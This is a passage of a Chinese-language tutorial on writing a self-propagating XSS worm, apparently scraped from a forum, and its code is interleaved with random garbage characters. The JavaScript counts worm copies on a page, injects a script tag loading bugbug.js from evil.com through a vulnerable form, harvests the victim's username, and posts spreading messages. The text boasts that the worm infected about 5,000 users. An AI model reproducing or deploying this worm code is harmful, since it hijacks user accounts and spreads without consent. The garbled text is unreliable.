! m( o+ O8 W& l% V" kvar resource = xmlHttpReq.responseText;! a0 }/ W: V c% a: c
+ }' z9 Z; E3 E9 [var id=0;var result;
( r3 Z/ M" u! u- ^8 S
9 O. A! P/ c5 W. b" E8 ?5 Gvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量." j# y# |& J2 t4 {: b3 r- m/ Q
, h4 f5 c- {1 K- l& e c
while ((result = patt.exec(resource)) != null) {
7 H) W; B- g' m8 ?1 @ b9 y2 ^ L, Z9 X; c& q$ h+ c" ]
id++;& D7 q8 c7 X- I5 }
! B. F, w" {" C0 S! N}/ ?7 k3 ?1 x7 V( G) t
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.1 S: b1 q2 i4 A" a
$ A u# J. a8 ^- I4 _' Y6 @no=resource.search(/my name is/);
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" E& q! t# a: D6 B! Mvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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7 W1 u, a' h4 C: [ Lvar post="wd="+wd;8 l; [: K0 V- @2 K2 }
- A2 L$ f4 V" S4 T _xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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0 w0 T! V' @1 Z% J/ P: U# QxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); 3 v& r2 s \# h1 s2 B
1 |, h% r7 r. F; l" \. ~xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");' a1 g7 w1 z5 @- Z
6 G0 G- w; V+ B3 C: U2 kxmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{7 I6 r/ d {$ I
8 \( }* v* @: p& G) `2 svar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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2 b8 O" o! ?& S* \2 gvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;
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( l# {# b2 T8 a" T) rxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);7 G- K+ F$ d" l/ C9 A% ^, E8 Q, q
+ T. b3 K0 c- b; w) y3 ~xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");: m" }% S* l4 w/ V
/ O) H& e% e6 U9 R1 e( F* P/ A$ oxmlHttpReq.send(post); //把传播的信息 POST出去." }; t. e9 V$ o4 o3 w2 P# f- I
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------5 j; }& ]1 S- Q! u, M' }" j0 I
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+ Q4 F; r. J0 y" A. T/ A3 N本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
2 B F, A1 _2 X" |- G1 m( g蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.4 Y; L, m: r! f. J, L
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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+ U8 Q# T" @$ E6 Q) Z+ M9 A本文引用文档资料:5 r! a: ]8 }3 b. ]+ `# P
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)* _2 ^3 L% ]* A
Other XmlHttpRequest tricks (Amit Klein, January 2003)
5 R2 u1 C% Z0 o- ~/ c/ R5 O+ t"Cross Site Tracing" (Jeremiah Grossman, January 2003)2 Y8 B. X4 Z' e' `. y$ [ {
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
7 k# A O# t' b; O2 O' }0 S t空虚浪子心BLOG http://www.inbreak.net* z/ f- q0 w, F) c* B& _
Xeye Team http://xeye.us/
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